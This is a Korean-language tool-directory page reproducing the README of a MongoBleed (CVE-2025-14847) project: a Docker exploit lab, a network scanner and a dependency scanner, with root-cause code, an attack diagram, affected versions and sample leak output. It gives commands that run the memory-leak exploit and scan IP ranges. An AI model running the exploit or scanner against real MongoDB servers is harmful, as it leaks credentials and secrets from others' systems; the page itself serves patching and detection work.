Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
mongobleed-exploit-CVE-2025-14847 — Explot, Lab, Scanner - 외부 및 도커 컨테이너, SMongobleed-CVE-2025-14847 및 phoenix 보안 업로더용 | Kitploit
도구/GitHubGitHub/franksec42/mongobleed-exploit-cve-2025-14847
Container SecurityMemory ForensicsVulnerability AnalysisExploitationPenetration TestingCloud SecurityLearning & EducationDatabase SecurityLabs & Practice

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubfranksec42/mongobleed-exploit-cve-2025-14847

mongobleed-exploit-CVE-2025-14847

Explot, Lab, Scanner - 외부 및 도커 컨테이너, SMongobleed-CVE-2025-14847 및 phoenix 보안 업로더용

저장소 보기
31147개월 전아직 검토되지 않음

🩸 MongoBleed - CVE-2025-14847 보안 연구 랩

MongoBleed 로고

CVE-2025-14847 | CVSS 8.7 (높음) | 인증 없는 메모리 노출


CVE-2025-14847은 MongoBleed라고 불리며, MongoDB의 zlib 압축 해제 로직을 악용하여 인증되지 않은 원격 공격자가 초기화되지 않은 힙 메모리를 외부로 유출할 수 있게 합니다. 이 높은 심각도의 결함은 평문 자격 증명 및 세션 토큰을 포함한 민감한 정보를 노출하여, 횡적 이동(lateral movement)과 완전한 서버 장악을 위한 로드맵을 제공합니다.

📖 전체 문서 →


엔지니어링 팀을 위한 TL;DR

항목세부 사항
취약한 대상zlib 압축을 사용하는 MongoDB Server 네트워크 전송 계층
심각도높음 (CVSS 8.7/7.5)
영향인증 없이 원격으로 초기화되지 않은 힙 메모리 노출
중요성유출된 조각에는 데이터베이스 비밀번호, AWS 시크릿 키, 내부 서버 상태가 포함됨
익스플로잇 상태공개 PoC(Proof-of-Concept) "mongobleed"가 검증되어 유포 중
지금 해야 할 일즉시 패치된 버전으로 업그레이드하거나 zlib 압축을 비활성화하세요

노출 규모

  • 87,000 - 194,000개의 MongoDB 인스턴스가 공개적으로 노출됨
  • 클라우드 환경의 **42%**가 영향 받음 (Wiz Research)
  • 인증 불필요 - 사전 인증(pre-auth) 상태에서 악용 가능

🔬 취약점 해부

기술 분석

이 취약점은 MongoDB의 네트워크 전송 계층(message_compressor_zlib.cpp)에 존재하며, zlib 압축 해제 로직의 치명적인 결함으로 인해 인증되지 않은 공격자가 민감한 서버 메모리를 유출할 수 있습니다.

근본 원인

// VULNERABLE CODE (before fix)
counterHitDecompress(input.length(), output.length());
return {output.length()};  // ❌ Returns ALLOCATED buffer size

// PATCHED CODE (after fix)  
counterHitDecompress(input.length(), output.length());
return length;             // ✅ Returns ACTUAL decompressed data length

악용 흐름

┌─────────────────────────────────────────────────────────────────────────────┐
│                        MongoBleed Attack Vector                             │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   ATTACKER                         VULNERABLE MongoDB                        │
│      │                                    │                                  │
│      │  1. Send OP_COMPRESSED message     │                                  │
│      │     uncompressedSize: 8192 (LIE)   │                                  │
│      │     actual data: ~100 bytes        │                                  │
│      │────────────────────────────────────>                                  │
│      │                                    │                                  │
│      │                          2. Allocate 8192-byte buffer                 │
│      │                          3. Decompress ~100 bytes                     │
│      │                          4. BUG: Return buffer.length() = 8192        │
│      │                          5. BSON parser reads uninitialized memory    │
│      │                                    │                                  │
│      │  6. Error response with leaked     │                                  │
│      │     memory as "field names"        │                                  │
│      │<────────────────────────────────────                                  │
│      │                                    │                                  │
│   🔓 LEAKED DATA:                         │                                  │
│      - API keys, passwords, tokens                                           │
│      - MongoDB internal state                                                │
│      - WiredTiger storage configs                                            │
│      - System /proc information                                              │
│      - Client connection data                                                │
│                                                                              │
└─────────────────────────────────────────────────────────────────────────────┘

영향을 받는 버전

버전취약 범위수정 버전상태
8.2.x8.2.0 - 8.2.28.2.3✅ 패치됨
8.0.x8.0.0 - 8.0.168.0.17✅ 패치됨
7.0.x7.0.0 - 7.0.277.0.28✅ 패치됨
6.0.x6.0.0 - 6.0.266.0.27✅ 패치됨
5.0.x5.0.0 - 5.0.315.0.32✅ 패치됨
4.4.x4.4.0 - 4.4.294.4.30✅ 패치됨
4.2.x모든 버전없음⚠️ 지원 종료(EOL)
4.0.x모든 버전없음⚠️ 지원 종료(EOL)
3.6.x모든 버전없음⚠️ 지원 종료(EOL)

발견 타임라인

날짜이벤트
2025년 12월 15일취약점 식별; 내부 티켓 SERVER-115508
2025년 12월 19일수정 사항 릴리스, CVE-2025-14847 공개
2025년 12월 24일MongoDB Atlas 플릿 패치 완료
2025년 12월 26일공개 PoC "mongobleed" 릴리스
2025년 12월 28일실제 환경에서 악용 관찰됨

📁 프로젝트 구조

mongobleed-exploit-CVE-2025-14847/
├── exploit/                    # 🔴 Exploit Lab
│   ├── docker-compose.yml      # Vulnerable + Patched MongoDB instances
│   ├── mongobleed.py           # Memory leak exploit PoC
│   ├── init/init-mongo.js      # Sensitive test data
│   ├── test-exploit.sh         # Lab test script
│   └── README.md               # Lab documentation
│
├── scanner/                    # 🌐 Network Scanner
│   ├── mongobleed_scanner.py   # IP/domain vulnerability scanner
│   ├── sample-targets.txt      # Sample targets file
│   └── README.md               # Scanner documentation
│
├── code-scan/                  # 📂 Code Scanner
│   ├── main.py                 # CLI entry point
│   ├── scanners/               # Docker, Python, Infra scanners
│   ├── models/                 # Finding, Vulnerability models
│   ├── integrations/           # Phoenix Security upload
│   └── README.md               # Code scanner documentation
│
└── original-exploit/           # 📚 Original PoC reference

🚀 빠른 시작

1. 익스플로잇 랩

cd exploit

# Start lab (vulnerable + patched instances)
docker-compose up -d
sleep 10

# Test vulnerable instance (should leak memory)
python3 mongobleed.py --host localhost --port 27017

# Test patched instance (should NOT leak memory)
python3 mongobleed.py --host localhost --port 27018

# Full lab test
./test-exploit.sh

2. 네트워크 스캐너

cd scanner

# Scan single host
python3 mongobleed_scanner.py 192.168.1.100

# Scan network range
python3 mongobleed_scanner.py 192.168.1.0/24

# Scan from file
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json

3. 코드 스캐너

cd code-scan

# Scan project for vulnerable MongoDB versions
python3 main.py scan /path/to/project

# Scan and upload to Phoenix
python3 main.py scan /path/to/project --upload-phoenix

# Run tests
python3 main.py test

⚡ 빠른 명령어

# === EXPLOIT LAB ===
# Start lab
cd exploit && docker-compose up -d && sleep 10

# Run exploit (vulnerable instance)
python3 exploit/mongobleed.py --host localhost --port 27017

# Run exploit (patched instance - verify no leaks)
python3 exploit/mongobleed.py --host localhost --port 27018

# === NETWORK SCANNER ===
# Scan local lab
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018

# Scan network
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20

# === CODE SCANNER ===
# Scan current directory
python3 code-scan/main.py scan .

# Scan with JSON output
python3 code-scan/main.py scan /path/to/project --json --output results.json

# Scan and upload to Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix

📊 출력 예시

익스플로잇 출력

[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Target: localhost:27017
[*] Scanning offsets 20-8192...

[+] offset=  117 len=  39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable:    8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...

[!] TARGET IS VULNERABLE TO CVE-2025-14847
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42

[!] Potential secrets detected:
    • RSA Private Key
    • Lab Secret
도구 다운로드